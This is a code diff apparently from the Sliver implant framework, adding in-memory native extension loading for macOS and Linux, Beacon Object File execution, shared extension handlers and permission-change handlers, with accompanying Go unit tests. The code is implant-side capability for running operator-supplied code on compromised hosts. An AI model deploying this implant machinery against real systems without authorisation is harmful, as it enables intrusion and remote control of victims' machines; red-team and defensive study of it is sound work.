"runtime"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
type testExtension struct {
|
||||
id string
|
||||
}
|
||||
|
||||
func (e *testExtension) Load() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (e *testExtension) Call(_ string, arguments []byte, callback func([]byte)) error {
|
||||
callback(arguments)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (e *testExtension) GetID() string {
|
||||
return e.id
|
||||
}
|
||||
|
||||
func (e *testExtension) GetArch() string {
|
||||
return "test"
|
||||
}
|
||||
|
||||
type registeringTestExtension struct {
|
||||
testExtension
|
||||
loadCalls *atomic.Int32
|
||||
loadErr error
|
||||
started chan struct{}
|
||||
release chan struct{}
|
||||
}
|
||||
|
||||
func (e *registeringTestExtension) Load() error {
|
||||
e.loadCalls.Add(1)
|
||||
if e.started != nil {
|
||||
close(e.started)
|
||||
}
|
||||
if e.release != nil {
|
||||
<-e.release
|
||||
}
|
||||
return e.loadErr
|
||||
}
|
||||
|
||||
func resetExtensionRegistry(t *testing.T) {
|
||||
t.Helper()
|
||||
extensionsMu.Lock()
|
||||
previousExtensions := extensions
|
||||
previousLoads := extensionLoads
|
||||
extensions = make(map[string]Extension)
|
||||
extensionLoads = make(map[string]*extensionLoad)
|
||||
extensionsMu.Unlock()
|
||||
t.Cleanup(func() {
|
||||
extensionsMu.Lock()
|
||||
extensions = previousExtensions
|
||||
extensionLoads = previousLoads
|
||||
extensionsMu.Unlock()
|
||||
})
|
||||
}
|
||||
|
||||
func waitForExtensionWaiters(t *testing.T, extensionID string, want int) {
|
||||
t.Helper()
|
||||
deadline := time.Now().Add(time.Second)
|
||||
for {
|
||||
extensionsMu.RLock()
|
||||
loading := extensionLoads[extensionID]
|
||||
got := 0
|
||||
if loading != nil {
|
||||
got = loading.waiters
|
||||
}
|
||||
extensionsMu.RUnlock()
|
||||
if got == want {
|
||||
return
|
||||
}
|
||||
if time.Now().After(deadline) {
|
||||
t.Fatalf("registration waiters = %d, want %d", got, want)
|
||||
}
|
||||
runtime.Gosched()
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtensionRegistryConcurrentAccess(t *testing.T) {
|
||||
resetExtensionRegistry(t)
|
||||
|
||||
const count = 64
|
||||
errCh := make(chan error, count)
|
||||
var waitGroup sync.WaitGroup
|
||||
for index := 0; index < count; index++ {
|
||||
index := index
|
||||
waitGroup.Add(1)
|
||||
go func() {
|
||||
defer waitGroup.Done()
|
||||
id := fmt.Sprintf("extension-%d", index)
|
||||
Add(&testExtension{id: id})
|
||||
argument := []byte(id)
|
||||
if err := Run(id, "run", argument, func(output []byte) {
|
||||
if string(output) != id {
|
||||
errCh <- fmt.Errorf("callback output = %q, want %q", output, id)
|
||||
}
|
||||
}); err != nil {
|
||||
errCh <- err
|
||||
}
|
||||
_ = List()
|
||||
}()
|
||||
}
|
||||
waitGroup.Wait()
|
||||
close(errCh)
|
||||
for err := range errCh {
|
||||
t.Error(err)
|
||||
}
|
||||
|
||||
if got := len(List()); got != count {
|
||||
t.Fatalf("List returned %d extensions, want %d", got, count)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRegisterLoadsExtensionOnlyOnce(t *testing.T) {
|
||||
resetExtensionRegistry(t)
|
||||
|
||||
const extensionID = "duplicate-extension"
|
||||
var loadCalls atomic.Int32
|
||||
started := make(chan struct{})
|
||||
release := make(chan struct{})
|
||||
first := ®isteringTestExtension{
|
||||
testExtension: testExtension{id: extensionID},
|
||||
loadCalls: &loadCalls,
|
||||
started: started,
|
||||
release: release,
|
||||
}
|
||||
|
||||
const registrations = 16
|
||||
errorsCh := make(chan error, registrations)
|
||||
go func() {
|
||||
errorsCh <- Register(first)
|
||||
}()
|
||||
<-started
|
||||
for index := 1; index < registrations; index++ {
|
||||
go func() {
|
||||
errorsCh <- Register(®isteringTestExtension{
|
||||
testExtension: testExtension{id: extensionID},
|
||||
loadCalls: &loadCalls,
|
||||
})
|
||||
}()
|
||||
}
|
||||
waitForExtensionWaiters(t, extensionID, registrations-1)
|
||||
select {
|
||||
case err := <-errorsCh:
|
||||
t.Fatalf("Register returned before the in-flight load completed: %v", err)
|
||||
default:
|
||||
}
|
||||
close(release)
|
||||
for index := 0; index < registrations; index++ {
|
||||
if err := <-errorsCh; err != nil {
|
||||
t.Fatalf("Register returned an error: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
if got := loadCalls.Load(); got != 1 {
|
||||
t.Fatalf("Load called %d times, want 1", got)
|
||||
}
|
||||
if got := List(); len(got) != 1 || got[0] != extensionID {
|
||||
t.Fatalf("List returned %q, want [%q]", got, extensionID)
|
||||
}
|
||||
|
||||
if err := Register(®isteringTestExtension{
|
||||
testExtension: testExtension{id: extensionID},
|
||||
loadCalls: &loadCalls,
|
||||
}); err != nil {
|
||||
t.Fatalf("repeat Register returned an error: %v", err)
|
||||
}
|
||||
if got := loadCalls.Load(); got != 1 {
|
||||
t.Fatalf("repeat Register called Load; total calls = %d, want 1", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRegisterRetriesAfterFailedLoad(t *testing.T) {
|
||||
resetExtensionRegistry(t)
|
||||
|
||||
const extensionID = "retry-extension"
|
||||
var loadCalls atomic.Int32
|
||||
wantErr := errors.New("load failed")
|
||||
started := make(chan struct{})
|
||||
release := make(chan struct{})
|
||||
const registrations = 8
|
||||
errorsCh := make(chan error, registrations)
|
||||
go func() {
|
||||
errorsCh <- Register(®isteringTestExtension{
|
||||
testExtension: testExtension{id: extensionID},
|
||||
loadCalls: &loadCalls,
|
||||
loadErr: wantErr,
|
||||
started: started,
|
||||
release: release,
|
||||
})
|
||||
}()
|
||||
<-started
|
||||
for index := 1; index < registrations; index++ {
|
||||
go func() {
|
||||
errorsCh <- Register(®isteringTestExtension{
|
||||
testExtension: testExtension{id: extensionID},
|
||||
loadCalls: &loadCalls,
|
||||
loadErr: errors.New("unexpected follower load"),
|
||||
})
|
||||
}()
|
||||
}
|
||||
waitForExtensionWaiters(t, extensionID, registrations-1)
|
||||
close(release)
|
||||
for index := 0; index < registrations; index++ {
|
||||
if err := <-errorsCh; !errors.Is(err, wantErr) {
|
||||
t.Fatalf("Register error = %v, want shared error %v", err, wantErr)
|
||||
}
|
||||
}
|
||||
if got := loadCalls.Load(); got != 1 {
|
||||
t.Fatalf("failed Load called %d times, want 1", got)
|
||||
}
|
||||
if got := List(); len(got) != 0 {
|
||||
t.Fatalf("failed extension was published: %q", got)
|
||||
}
|
||||
|
||||
if err := Register(®isteringTestExtension{
|
||||
testExtension: testExtension{id: extensionID},
|
||||
loadCalls: &loadCalls,
|
||||
}); err != nil {
|
||||
t.Fatalf("retry Register returned an error: %v", err)
|
||||
}
|
||||
if got := loadCalls.Load(); got != 2 {
|
||||
t.Fatalf("Load called %d times, want 2", got)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,174 @@
|
||||
//go:build (darwin && (amd64 || arm64)) || (linux && (386 || amd64 || arm64))
|
||||
|
||||
package extension
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"runtime"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"unsafe"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/ebitengine/purego"
|
||||
reflektor "github.com/sliverarmory/reflektor/native"
|
||||
)
|
||||
|
||||
type extensionCall struct {
|
||||
onFinish func([]byte)
|
||||
}
|
||||
|
||||
// UnixExtension is a Reflektor-backed native extension for supported Unix
|
||||
// targets.
|
||||
type UnixExtension struct {
|
||||
id string
|
||||
data []byte
|
||||
module *reflektor.Library
|
||||
arch string
|
||||
init string
|
||||
callback uintptr
|
||||
active atomic.Pointer[extensionCall]
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
func newUnixExtension(data []byte, id string, arch string, init string) *UnixExtension {
|
||||
return &UnixExtension{
|
||||
id: id,
|
||||
data: data,
|
||||
arch: arch,
|
||||
init: init,
|
||||
}
|
||||
}
|
||||
|
||||
// GetID returns the extension identifier.
|
||||
func (u *UnixExtension) GetID() string {
|
||||
return u.id
|
||||
}
|
||||
|
||||
// GetArch returns the extension architecture.
|
||||
func (u *UnixExtension) GetArch() string {
|
||||
return u.arch
|
||||
}
|
||||
|
||||
// Load maps the extension and invokes its optional initialization export.
|
||||
func (u *UnixExtension) Load() error {
|
||||
if len(u.data) == 0 {
|
||||
return errors.New("{{if .Config.Debug}} extension data is empty {{end}}")
|
||||
}
|
||||
|
||||
u.Lock()
|
||||
defer u.Unlock()
|
||||
if u.module != nil {
|
||||
return errors.New("{{if .Config.Debug}} module already loaded {{end}}")
|
||||
}
|
||||
|
||||
module, err := reflektor.LoadLibrary(u.data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if u.init != "" {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Calling %s\n", u.init)
|
||||
// {{end}}
|
||||
if err := module.CallExport(u.init); err != nil {
|
||||
_ = module.Close()
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
callback, err := newUnixExtensionCallback(u)
|
||||
if err != nil {
|
||||
_ = module.Close()
|
||||
return err
|
||||
}
|
||||
u.callback = callback
|
||||
u.module = module
|
||||
return nil
|
||||
}
|
||||
|
||||
// Call invokes an extension export with the native extension callback ABI.
|
||||
func (u *UnixExtension) Call(export string, arguments []byte, onFinish func([]byte)) error {
|
||||
u.Lock()
|
||||
defer u.Unlock()
|
||||
if u.module == nil {
|
||||
return errors.New("{{if .Config.Debug}} module not loaded {{end}}")
|
||||
}
|
||||
if uint64(len(arguments)) > uint64(^uint32(0)) {
|
||||
return errors.New("{{if .Config.Debug}} extension arguments exceed uint32 size {{end}}")
|
||||
}
|
||||
|
||||
var argumentsPtr uintptr
|
||||
if len(arguments) > 0 {
|
||||
argumentsPtr = uintptr(unsafe.Pointer(&arguments[0]))
|
||||
}
|
||||
argumentsSize := uintptr(uint32(len(arguments)))
|
||||
call := &extensionCall{onFinish: onFinish}
|
||||
u.active.Store(call)
|
||||
defer u.active.Store(nil)
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Calling %s, arguments addr: 0x%08x, args size: %08x\n", export, argumentsPtr, argumentsSize)
|
||||
// {{end}}
|
||||
_, err := u.module.CallExportWithArgs(export, argumentsPtr, argumentsSize, u.callback)
|
||||
runtime.KeepAlive(arguments)
|
||||
runtime.KeepAlive(call)
|
||||
return err
|
||||
}
|
||||
|
||||
func newUnixExtensionCallback(extension *UnixExtension) (callback uintptr, err error) {
|
||||
defer func() {
|
||||
if recovered := recover(); recovered != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to create extension callback: %v\n", recovered)
|
||||
// {{end}}
|
||||
callback = 0
|
||||
err = errors.New("{{if .Config.Debug}} failed to create extension callback {{end}}")
|
||||
}
|
||||
}()
|
||||
return purego.NewCallback(extension.extensionCallback), nil
|
||||
}
|
||||
|
||||
func (u *UnixExtension) extensionCallback(data unsafe.Pointer, dataLen int32) (result int32) {
|
||||
result = Failure
|
||||
defer func() {
|
||||
if recover() != nil {
|
||||
result = Failure
|
||||
}
|
||||
}()
|
||||
|
||||
call := u.active.Load()
|
||||
if call == nil || call.onFinish == nil {
|
||||
return Failure
|
||||
}
|
||||
if dataLen == 0 {
|
||||
return Success
|
||||
}
|
||||
if data == nil || dataLen < 0 {
|
||||
return Failure
|
||||
}
|
||||
|
||||
output := append([]byte(nil), unsafe.Slice((*byte)(data), int(dataLen))...)
|
||||
call.onFinish(output)
|
||||
return Success
|
||||
}
|
||||
@@ -0,0 +1,59 @@
|
||||
//go:build (darwin && (amd64 || arm64)) || (linux && (386 || amd64 || arm64))
|
||||
|
||||
package extension
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"testing"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
func TestUnixExtensionCallbackCopiesOutput(t *testing.T) {
|
||||
extension := &UnixExtension{}
|
||||
var got []byte
|
||||
call := &extensionCall{onFinish: func(output []byte) {
|
||||
got = output
|
||||
}}
|
||||
extension.active.Store(call)
|
||||
defer extension.active.Store(nil)
|
||||
|
||||
source := []byte("extension output")
|
||||
result := extension.extensionCallback(unsafe.Pointer(&source[0]), int32(len(source)))
|
||||
if result != Success {
|
||||
t.Fatalf("extension callback returned %d, want %d", result, Success)
|
||||
}
|
||||
source[0] = 'X'
|
||||
if !bytes.Equal(got, []byte("extension output")) {
|
||||
t.Fatalf("extension callback output = %q, want an independent copy", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUnixExtensionCallbackRejectsInvalidCalls(t *testing.T) {
|
||||
extension := &UnixExtension{}
|
||||
if result := extension.extensionCallback(nil, 1); result != Failure {
|
||||
t.Fatalf("callback without an active call returned %d, want %d", result, Failure)
|
||||
}
|
||||
|
||||
extension.active.Store(&extensionCall{onFinish: func([]byte) {}})
|
||||
defer extension.active.Store(nil)
|
||||
if result := extension.extensionCallback(nil, 1); result != Failure {
|
||||
t.Fatalf("callback with a nil data pointer returned %d, want %d", result, Failure)
|
||||
}
|
||||
source := byte(0)
|
||||
if result := extension.extensionCallback(unsafe.Pointer(&source), -1); result != Failure {
|
||||
t.Fatalf("callback with a negative length returned %d, want %d", result, Failure)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUnixExtensionCallbackContainsPanics(t *testing.T) {
|
||||
extension := &UnixExtension{}
|
||||
extension.active.Store(&extensionCall{onFinish: func([]byte) {
|
||||
panic("callback failed")
|
||||
}})
|
||||
defer extension.active.Store(nil)
|
||||
|
||||
source := []byte("output")
|
||||
if result := extension.extensionCallback(unsafe.Pointer(&source[0]), int32(len(source))); result != Failure {
|
||||
t.Fatalf("panicking callback returned %d, want %d", result, Failure)
|
||||
}
|
||||
}
|
||||
@@ -31,11 +31,6 @@ import (
|
||||
reflektor "github.com/sliverarmory/reflektor/memmod"
|
||||
)
|
||||
|
||||
const (
|
||||
Success = 0
|
||||
Failure = 1
|
||||
)
|
||||
|
||||
type WindowsExtension struct {
|
||||
id string
|
||||
data []byte
|
||||
|
||||
@@ -2,16 +2,18 @@
|
||||
|
||||
## Overview
|
||||
|
||||
Runtime message handlers that react to server instructions. Dispatches inbound RPC messages to feature-specific executors. Runtime components handle extensions WASM, handlers wireguard, handlers darwin, and handlers generic for implant-side handlers features.
|
||||
Runtime message handlers that react to server instructions. Dispatches inbound RPC messages to feature-specific executors, including native and WASM extension lifecycle requests.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `extensions-wasm.go` – Routes extension-related RPC messages to the WASM runtime.
|
||||
- `handlers_extensions.go` – Shared Windows, macOS, and Linux native extension registration, invocation, and listing handlers.
|
||||
- `handlers-wireguard.go` – Handles WireGuard control messages and state updates.
|
||||
- `handlers.go` – Registers core handler functions and shared dispatch utilities.
|
||||
- `handlers_darwin.go` – macOS-specific handler bindings and feature toggles.
|
||||
- `handlers_generic.go` – Generic handler implementations used when no platform specialization is required.
|
||||
- `handlers_linux.go` – Linux-focused handler logic and build tags.
|
||||
- `handlers_unix.go` – Shared macOS and Linux permission-change handlers.
|
||||
- `handlers_windows.go` – Windows-specific handler implementations.
|
||||
- `kill-handlers.go` – Processes kill commands for sessions and tasks in a platform-agnostic way.
|
||||
- `kill-handlers_windows.go` – Windows-specific kill command handling.
|
||||
|
||||
@@ -444,12 +444,13 @@ func cdHandler(data []byte, resp RPCResponse) {
|
||||
return
|
||||
}
|
||||
|
||||
os.Chdir(cdReq.Path)
|
||||
dir, err := os.Getwd()
|
||||
pwd := &sliverpb.Pwd{Path: dir}
|
||||
if err != nil {
|
||||
resp([]byte{}, err)
|
||||
return
|
||||
chdirErr := os.Chdir(cdReq.Path)
|
||||
dir, getwdErr := os.Getwd()
|
||||
pwd := &sliverpb.Pwd{Path: dir, Response: &commonpb.Response{}}
|
||||
if chdirErr != nil {
|
||||
pwd.Response.Err = chdirErr.Error()
|
||||
} else if getwdErr != nil {
|
||||
pwd.Response.Err = getwdErr.Error()
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
@@ -984,7 +985,7 @@ func extractFiles(data []byte, path string, overwrite bool) (int, int, error) {
|
||||
return filesWritten, filesSkipped, err
|
||||
}
|
||||
}
|
||||
file, err := os.OpenFile(fileName, os.O_CREATE|os.O_RDWR, os.FileMode(header.Mode))
|
||||
file, err := os.OpenFile(fileName, os.O_CREATE|os.O_RDWR|os.O_TRUNC, os.FileMode(header.Mode))
|
||||
if err != nil {
|
||||
file.Close()
|
||||
return filesWritten, filesSkipped, err
|
||||
|
||||
@@ -0,0 +1,65 @@
|
||||
//go:build linux || darwin || windows
|
||||
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
|
||||
"github.com/sliverarmory/reflektor/bof"
|
||||
)
|
||||
|
||||
type bofObject interface {
|
||||
Execute([]byte) ([]bof.Output, error)
|
||||
Close() error
|
||||
}
|
||||
|
||||
type bofLoadFunc func([]byte, bof.LoadOptions) (bofObject, error)
|
||||
|
||||
type bofExecuteFunc func([]byte, string, []byte) ([]byte, error)
|
||||
|
||||
func loadReflektorBOF(data []byte, options bof.LoadOptions) (bofObject, error) {
|
||||
if options.EntryPoint == "" {
|
||||
return bof.Load(data)
|
||||
}
|
||||
return bof.LoadWithOptions(data, options)
|
||||
}
|
||||
|
||||
func executeBOF(data []byte, entryPoint string, args []byte) ([]byte, error) {
|
||||
return executeBOFWithLoader(data, entryPoint, args, loadReflektorBOF)
|
||||
}
|
||||
|
||||
func executeBOFWithLoader(data []byte, entryPoint string, args []byte, load bofLoadFunc) (output []byte, err error) {
|
||||
options := bof.LoadOptions{}
|
||||
if !isDefaultBOFEntryPoint(entryPoint) {
|
||||
options.EntryPoint = entryPoint
|
||||
}
|
||||
|
||||
object, err := load(data, options)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("load BOF: %w", err)
|
||||
}
|
||||
defer func() {
|
||||
if closeErr := object.Close(); closeErr != nil {
|
||||
err = errors.Join(err, fmt.Errorf("close BOF: %w", closeErr))
|
||||
}
|
||||
}()
|
||||
|
||||
outputs, executeErr := object.Execute(args)
|
||||
for _, record := range outputs {
|
||||
output = append(output, record.Data...)
|
||||
}
|
||||
if executeErr != nil {
|
||||
err = fmt.Errorf("execute BOF: %w", executeErr)
|
||||
}
|
||||
return output, err
|
||||
}
|
||||
|
||||
func isDefaultBOFEntryPoint(entryPoint string) bool {
|
||||
switch entryPoint {
|
||||
case "", "go", "_go", "coffee", "_coffee":
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,114 @@
|
||||
//go:build linux || darwin || windows
|
||||
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/sliverarmory/reflektor/bof"
|
||||
)
|
||||
|
||||
type fakeBOFObject struct {
|
||||
outputs []bof.Output
|
||||
executeErr error
|
||||
closeErr error
|
||||
executeArgs []byte
|
||||
executeCalls int
|
||||
closeCalls int
|
||||
}
|
||||
|
||||
func (object *fakeBOFObject) Execute(args []byte) ([]bof.Output, error) {
|
||||
object.executeCalls++
|
||||
object.executeArgs = append([]byte(nil), args...)
|
||||
return object.outputs, object.executeErr
|
||||
}
|
||||
|
||||
func (object *fakeBOFObject) Close() error {
|
||||
object.closeCalls++
|
||||
return object.closeErr
|
||||
}
|
||||
|
||||
func TestExecuteBOFUsesDefaultEntryPointLookup(t *testing.T) {
|
||||
for _, entryPoint := range []string{"", "go", "_go", "coffee", "_coffee"} {
|
||||
t.Run(entryPoint, func(t *testing.T) {
|
||||
object := &fakeBOFObject{}
|
||||
var gotOptions bof.LoadOptions
|
||||
_, err := executeBOFWithLoader([]byte("object"), entryPoint, nil, func(_ []byte, options bof.LoadOptions) (bofObject, error) {
|
||||
gotOptions = options
|
||||
return object, nil
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("executeBOF() error = %v", err)
|
||||
}
|
||||
if gotOptions.EntryPoint != "" {
|
||||
t.Fatalf("entry point option = %q, want default lookup", gotOptions.EntryPoint)
|
||||
}
|
||||
if object.closeCalls != 1 {
|
||||
t.Fatalf("Close() calls = %d, want 1", object.closeCalls)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecuteBOFUsesExactCustomEntryPointAndConcatenatesOutput(t *testing.T) {
|
||||
wantArgs := []byte{4, 0, 0, 0, 1, 2, 3, 4}
|
||||
object := &fakeBOFObject{outputs: []bof.Output{
|
||||
{Type: bof.OutputDefault, Data: []byte("first")},
|
||||
{Type: bof.OutputError, Data: []byte("second")},
|
||||
}}
|
||||
var gotOptions bof.LoadOptions
|
||||
output, err := executeBOFWithLoader([]byte("object"), " CustomExport ", wantArgs, func(_ []byte, options bof.LoadOptions) (bofObject, error) {
|
||||
gotOptions = options
|
||||
return object, nil
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("executeBOF() error = %v", err)
|
||||
}
|
||||
if gotOptions.EntryPoint != " CustomExport " {
|
||||
t.Fatalf("entry point option = %q, want exact custom symbol", gotOptions.EntryPoint)
|
||||
}
|
||||
if !bytes.Equal(object.executeArgs, wantArgs) {
|
||||
t.Fatalf("Execute() args = %v, want %v", object.executeArgs, wantArgs)
|
||||
}
|
||||
if !bytes.Equal(output, []byte("firstsecond")) {
|
||||
t.Fatalf("output = %q, want ordered concatenation", output)
|
||||
}
|
||||
if object.executeCalls != 1 || object.closeCalls != 1 {
|
||||
t.Fatalf("Execute() calls = %d, Close() calls = %d, want 1 each", object.executeCalls, object.closeCalls)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecuteBOFReportsExecuteAndCloseErrors(t *testing.T) {
|
||||
object := &fakeBOFObject{
|
||||
outputs: []bof.Output{
|
||||
{Data: []byte("partial")},
|
||||
},
|
||||
executeErr: errors.New("execute failed"),
|
||||
closeErr: errors.New("close failed"),
|
||||
}
|
||||
output, err := executeBOFWithLoader([]byte("object"), "go", nil, func([]byte, bof.LoadOptions) (bofObject, error) {
|
||||
return object, nil
|
||||
})
|
||||
if !bytes.Equal(output, []byte("partial")) {
|
||||
t.Fatalf("output = %q, want partial output", output)
|
||||
}
|
||||
if err == nil || !strings.Contains(err.Error(), "execute failed") || !strings.Contains(err.Error(), "close failed") {
|
||||
t.Fatalf("error = %v, want execute and close failures", err)
|
||||
}
|
||||
if object.closeCalls != 1 {
|
||||
t.Fatalf("Close() calls = %d, want 1", object.closeCalls)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecuteBOFReportsLoadErrorWithoutClosing(t *testing.T) {
|
||||
wantErr := errors.New("load failed")
|
||||
_, err := executeBOFWithLoader([]byte("object"), "go", nil, func([]byte, bof.LoadOptions) (bofObject, error) {
|
||||
return nil, wantErr
|
||||
})
|
||||
if !errors.Is(err, wantErr) {
|
||||
t.Fatalf("error = %v, want wrapped load error", err)
|
||||
}
|
||||
}
|
||||
@@ -53,6 +53,8 @@ var (
|
||||
pb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
pb.MsgChtimesReq: chtimesHandler,
|
||||
pb.MsgGrepReq: grepHandler,
|
||||
pb.MsgChmodReq: chmodHandler,
|
||||
pb.MsgChownReq: chownHandler,
|
||||
|
||||
pb.MsgScreenshotReq: screenshotHandler,
|
||||
pb.MsgNetstatReq: netstatHandler,
|
||||
@@ -92,69 +94,8 @@ func GetSystemHandlers() map[uint32]RPCHandler {
|
||||
|
||||
// Extensions
|
||||
|
||||
func registerExtensionHandler(data []byte, resp RPCResponse) {
|
||||
registerReq := &pb.RegisterExtensionReq{}
|
||||
|
||||
err := proto.Unmarshal(data, registerReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
ext := extension.NewDarwinExtension(registerReq.Data, registerReq.Name, registerReq.OS, registerReq.Init)
|
||||
extension.Add(ext)
|
||||
err = ext.Load()
|
||||
registerResp := &pb.RegisterExtension{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
if err != nil {
|
||||
registerResp.Response.Err = err.Error()
|
||||
}
|
||||
data, err = proto.Marshal(registerResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func callExtensionHandler(data []byte, resp RPCResponse) {
|
||||
callReq := &pb.CallExtensionReq{}
|
||||
|
||||
err := proto.Unmarshal(data, callReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
callResp := &pb.CallExtension{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
gotOutput := false
|
||||
err = extension.Run(callReq.Name, callReq.Export, callReq.Args, func(out []byte) {
|
||||
gotOutput = true
|
||||
callResp.Output = out
|
||||
data, err = proto.Marshal(callResp)
|
||||
resp(data, err)
|
||||
})
|
||||
// Only send back synchronously if there was an error
|
||||
if err != nil || !gotOutput {
|
||||
if err != nil {
|
||||
callResp.Response.Err = err.Error()
|
||||
}
|
||||
data, err = proto.Marshal(callResp)
|
||||
resp(data, err)
|
||||
}
|
||||
}
|
||||
|
||||
func listExtensionsHandler(data []byte, resp RPCResponse) {
|
||||
lstReq := &pb.ListExtensionsReq{}
|
||||
err := proto.Unmarshal(data, lstReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
exts := extension.List()
|
||||
lstResp := &pb.ListExtensions{
|
||||
Response: &commonpb.Response{},
|
||||
Names: exts,
|
||||
}
|
||||
data, err = proto.Marshal(lstResp)
|
||||
resp(data, err)
|
||||
func newExtension(data []byte, id string, arch string, init string) extension.Extension {
|
||||
return extension.NewDarwinExtension(data, id, arch, init)
|
||||
}
|
||||
|
||||
func mountHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
@@ -0,0 +1,107 @@
|
||||
//go:build linux || darwin || windows
|
||||
|
||||
package handlers
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/extension"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
type extensionFactory func(data []byte, id string, arch string, init string) extension.Extension
|
||||
|
||||
func registerExtensionHandler(data []byte, resp RPCResponse) {
|
||||
registerExtension(data, resp, newExtension)
|
||||
}
|
||||
|
||||
func registerExtension(data []byte, resp RPCResponse, factory extensionFactory) {
|
||||
registerReq := &sliverpb.RegisterExtensionReq{}
|
||||
if err := proto.Unmarshal(data, registerReq); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
ext := factory(registerReq.Data, registerReq.Name, registerReq.OS, registerReq.Init)
|
||||
err := extension.Register(ext)
|
||||
registerResp := &sliverpb.RegisterExtension{Response: &commonpb.Response{}}
|
||||
if err != nil {
|
||||
registerResp.Response.Err = err.Error()
|
||||
}
|
||||
data, err = proto.Marshal(registerResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func callExtensionHandler(data []byte, resp RPCResponse) {
|
||||
callExtension(data, resp, executeBOF)
|
||||
}
|
||||
|
||||
func callExtension(data []byte, resp RPCResponse, execute bofExecuteFunc) {
|
||||
callReq := &sliverpb.CallExtensionReq{}
|
||||
if err := proto.Unmarshal(data, callReq); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
callResp := &sliverpb.CallExtension{Response: &commonpb.Response{}}
|
||||
if callReq.IsBOF {
|
||||
output, err := execute(callReq.BOFData, callReq.Export, callReq.Args)
|
||||
callResp.Output = output
|
||||
if err != nil {
|
||||
callResp.Response.Err = err.Error()
|
||||
}
|
||||
data, err = proto.Marshal(callResp)
|
||||
resp(data, err)
|
||||
return
|
||||
}
|
||||
|
||||
gotOutput := false
|
||||
var output []byte
|
||||
err := extension.Run(callReq.Name, callReq.Export, callReq.Args, func(out []byte) {
|
||||
// Native callbacks run on the extension's call stack. Keep the first
|
||||
// result, copy it before the native buffer expires, and respond only
|
||||
// after the extension call has returned.
|
||||
if gotOutput {
|
||||
return
|
||||
}
|
||||
gotOutput = true
|
||||
output = append([]byte(nil), out...)
|
||||
})
|
||||
if gotOutput {
|
||||
callResp.Output = output
|
||||
} else if err != nil {
|
||||
callResp.Response.Err = err.Error()
|
||||
}
|
||||
data, err = proto.Marshal(callResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func listExtensionsHandler(data []byte, resp RPCResponse) {
|
||||
